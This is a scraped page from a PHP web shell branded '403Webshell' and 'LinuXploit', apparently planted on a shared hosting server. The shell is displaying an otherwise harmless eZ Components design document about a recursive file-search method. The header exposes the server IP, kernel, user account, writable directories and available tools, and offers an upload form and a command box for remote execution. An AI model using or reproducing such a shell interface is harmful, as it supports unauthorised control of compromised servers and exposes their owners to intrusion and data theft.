403Webshell
Server IP : 66.29.132.122  /  Your IP : 18.119.132.236
Web Server : LiteSpeed
System : Linux business142.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : admazpex ( 531)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/proc/self/root/proc/thread-self/root/proc/thread-self/root/proc/self/root/proc/thread-self/root/proc/self/root/proc/self/root/opt/cloudlinux/alt-php55/root/usr/share/pear/data/File/design/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/proc/self/root/proc/thread-self/root/proc/thread-self/root/proc/self/root/proc/thread-self/root/proc/self/root/proc/self/root/opt/cloudlinux/alt-php55/root/usr/share/pear/data/File/design/design.txt
eZ component: File, Design
~~~~~~~~~~~~~~~~~~~~~~~~~~
:Author:   Derick Rethans
:Revision: $Revision: 7003 $
:Date:     $Date: 2007-12-17 10:05:16 +0100 (Mon, 17 Dec 2007) $

Design Description
==================
The component uses the register_shutdown_function() and set_execution_handler()
to allow the catching of fatal errors and uncatched exceptions. At the start of
the script you need to initialize the execution environment and when your
application is done executing you signal the component that you have a "clean
exit".  In case there was not a clean exit the shutdown handler will pick up
and call your defined callback handler to display the error message.

There is one classes in this component:

ezcFile
-------
Contains a static method that allows you to scan through a directory
recursively and include only the files that match the specified pattern. A
pattern consists of an array of regular expressions which all need to match
with the filename before it is returned in the array of scanned files.

Algorithms
==========

The ezcFile::findRecursive() method accepts a directory name and a set of
filters. The algorithm is recursive in the following way: ::


    method findRecursive ( directory, filters )

    foreach file in directory:
        if file is a directory:
            files_in_subdir = findRecursive( file, filters )
            files += files_in_subdir
        else:
            include = true
            foreach filters as filter:
                if !match filter on file:
                    include = false
                    break
            if include:
                files += file
    
    return files


..
   Local Variables:
   mode: rst
   fill-column: 79
   End:
   vim: et syn=rst tw=79

Youez - 2016 - github.com/yon3zu
LinuXploit